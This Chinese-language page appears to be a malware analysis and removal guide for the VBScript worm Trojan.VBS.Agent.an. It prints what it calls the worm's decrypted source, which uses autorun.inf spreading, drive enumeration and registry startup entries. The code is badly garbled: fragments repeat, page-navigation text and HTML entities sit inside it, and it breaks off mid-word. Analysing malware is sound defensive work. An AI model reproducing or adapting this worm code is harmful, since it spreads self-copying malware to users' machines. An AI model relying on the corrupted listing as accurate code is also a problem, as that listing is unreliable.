Trojan.VBS.Agent.an分析查杀.docVIP

　　Trojan.VBS.Agent.an 分析查杀～教育资源库 　　该病毒为经过加密变形的VBS病毒。通过VBS命令进行自身复制及修改注册表添加启动项目。 　　行为分析： 　　通过解开其复杂的加密以后得到的病毒原代码： 　　dim d:j=:on error resume next 　　ver=8.25:vs=.vbs:ve=.vbe:j=:cm=%spec% /c :dfo=/8#0/:til=Raider ver:inf=autorun.inf 　　set i=getobject(gmts:.rootcimv2) 　　set fso=createobject(scripting.filesystemobject):set sis=i.execquery(select * from ) 　　set dc=fso.drives:oue:p;j:dir=fso.getspecialfolder(1)j 　　tmp=fso.getspecialfolder(2)j:p;:mir=left(oue)) 　　e:p=HKLMsystemcurrentcontrolsetcontrolrrr 　　a=rr(p,0):if a= then a=til 　　rpa=HKLMsoftp;aj:rop=softicrosoftp;ropsfmon startup,0)jvs:fap=rr(HKCUropsffavorites,0)j 　　dap=rr(HKCUropsfdesktop,0)j:rsn=a:ht=ec(ivicrosoftir=dir then sys=true 　　for each si in sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:p;ropadvancedshop;chr(124)r; 　　if instr( d:j=:on error resume next 　　if pa=1 then rna=rparna 　　rr= d:j=:on error resume next 　　if pa=1 then rna=rparna 　　rr= d:j=:on error resume next 　　for i=1 to len(id( d:j=:on error resume next 　　for i=1 to len(id( d:j=:on error resume next 　　for i=1 to len(id( d:j=:on error resume next 　　for each d in dc 　　if mir=dj then p;d,3,false 12345下一页 友情提醒：，特别！next 　　ouc=rt(ousgbox(holle,raider!):km 1 　　if sys then 　　if rr(rspexplorer,0)lt;gt;0 then p;explorer,-1 　　hi 1 　　if rr(til,1)lt;gt;til then 　　p;rsn,0)=ve then rs -1 　　le=rr(dna,1):if ei(tmple,1) then ple 　　km 0 　　cu:er 1 　　p;ve:co p;ve:rs 1:p;ve 　　end if 　　dim d:j=:on error resume next 　　if lilt;0 then then 　　sli=r.readline 　　else 　　sli=0 　　end if 　　loop 　　rt=sli 　　elseif lilt;=0 then 　　rt=r.readall 　　else 　　rt=0 　　end if 　　r.close 　　end if 　　else 　　rt=0 　　end if 　　dim d:j=:on error resume next 　　if fso.fileexists(name) and e) and d:j=:on error resume next 　　if rt(p;ver then cf=true 　　dim d:j=:on error resume next 　　if lilt;0 then then 　　sli=r.readline 　　else 　　sli=0 　　end if 　　loop 　　rt=sli 　　elseif lilt;=0 then 　　rt=r.readall 　　else 　　rt=0 　　end if 　　r.clo